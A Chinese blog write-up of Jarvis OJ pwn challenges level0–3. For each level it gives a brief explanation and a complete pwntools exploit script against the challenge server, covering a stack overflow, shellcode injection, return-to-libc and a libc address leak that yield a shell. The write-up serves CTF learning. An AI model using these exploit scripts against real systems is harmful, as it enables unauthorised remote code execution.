美文网首页
Jarvis OJ---level0~3

Jarvis OJ---level0~3

作者: yahoo0o0 | 来源:发表于2017-09-11 11:21 被阅读0次
level0

用64位IDA打开之后,function函数之中的read函数存在栈溢出漏洞,栈空间大小只有0x88,而读取的数据是0x200,而且本程序之中直接调用了callsystem函数,所以我们可以直接利用栈溢出,用hijack的方法,用数据覆盖栈,直接返回到callsystem函数之中。

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level0')
else:
    p = remote('pwn2.jarvisoj.com',9881)

callsystem = 0x0400596
payload = 'a'*(0x80+8) + p64(callsystem)
p.recvuntil('Hello, World\n')
p.sendline(payload)
p.interactive()
level1

同样是一个简单的栈溢出,不同的是这次程序在运行的过程之中会打印出buf的地址,我们查看防护机制之后发现没有开启NX,所以我们可以直接在buf区中插入一段shellcode,然后利用shellcode来打开服务器的shell。

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level1')
else:
    p = remote('pwn2.jarvisoj.com',9877)

p.recvuntil("What's this:")
leak = int(p.recv(10),16)
shellcode = asm(shellcraft.sh())
payload = shellcode + (0x88-len(shellcode))*'a' + 'bbbb' +p32(leak)
p.sendline(payload)
p.interactive()
level2

开启了NX之后,就没有办法直接插入shellcode来执行了,但是我们可以看到程序调用了system函数,所以我们可以通过return2libc来绕过NX,直接传入binsh参数来打开shell

from pwn import *
from time import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level1')
else:
    p = remote('pwn2.jarvisoj.com',9878)

system = 0x08048320
binsh = 0x0804A024
p.recvuntil("Input:\n")
payload = 'a'*(0x88+4) + p32(system) + 'bbbb' + p32(binsh)
p.sendline(payload)
p.interactive()
level3

level3之中没有直接调用system函数,这就上升了一个难度,我们需要打开shell,就需要调用系统级的函数system(“bin/sh”),而要调用system,我们就需要获取他的地址,level3之中附带了一个libc库,函数之中也调用了write函数和read函数,所以我们可以直接通过write函数来泄露system函数的地址,利用libc库,从而得到flag

from pwn import *
debug = False
local = False
x86 = True
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('libc-2.19.so')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./level3')
else:
    p = remote('pwn2.jarvisoj.com',9879)

write_got = 0x0804A018
write_plt = 0x08048340
start = 0x08048350
payload = (0x88+4)*'a' + p32(write_plt) + p32(start) + p32(1) + p32(write_got) + p32(4)
p.recvuntil(":\n")
p.sendline(payload)
leak = u32(p.recv(4))
libc_base = leak - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'))
payload = (0x88+4)*'a' + p32(system) + p32(0xdeadbeef) + p32(binsh)
p.recvuntil(":\n")
p.sendline(payload)
p.interactive()

相关文章

  • Jarvis OJ---level0~3

    用64位IDA打开之后,function函数之中的read函数存在栈溢出漏洞,栈空间大小只有0x88,而读取的数据...

  • Jarvis+基于智能合约的AI对话服务平台

    Jarvis+ 基于智能合约的对话即服务平台! 乐意效劳!(At Your Service!) JARVIS+重...

  • Jarvis

    #七宗罪——贪婪# #人工智能:David# “Jarvis,你在吗?” “我在。” 我是Jarvis,一个人工智...

  • Jarvis

    虽是由数据组成的思想,有着定量的思维方式,拥有实体后仍是有些微的不适感和虚浮感,仍留存着部分数据储存在大厦的系统里...

  • Downtown Ryerson大学区Prime Condo期房

    Prime Condos 楼盘位于多伦多市中心Jarvis和Gerrard E,具体地址在319 Jarvis S...

  • 你可能过了个假节——为什么她至死都在反对自己创立的母亲节?

    母亲节的初心 安娜·贾维斯(Anna Jarvis)的母亲安·里维斯·贾维斯(Ann Reeves Jarvis)...

  • 我想要个Jarvis

    我想要个Jarvis,有了Jarvis,男票算什么!能吃么?! CP:出自钢铁侠,Tony·stark×Jarvi...

  • Flutter之tabBar的实现

    这里介绍几个关键的组件 [https://jarvis-mr.github.io/#1%E3%80%81Scaff...

  • 机器学习如何选特征

    看到一篇好文章分享出来,看别人是如何选特征的,作者是Edwin Jarvis 作者:Edwin Jarvis 特征...

  • Need A JARVIS

    贾维斯(JARVIS)是钢铁侠(Iron Man)的人工智能管家。它既是钢铁侠身边的智囊,又是聪明负责的生活管家,...

网友评论

      本文标题:Jarvis OJ---level0~3

      本文链接:https://www.haomeiwen.com/subject/llixsxtx.html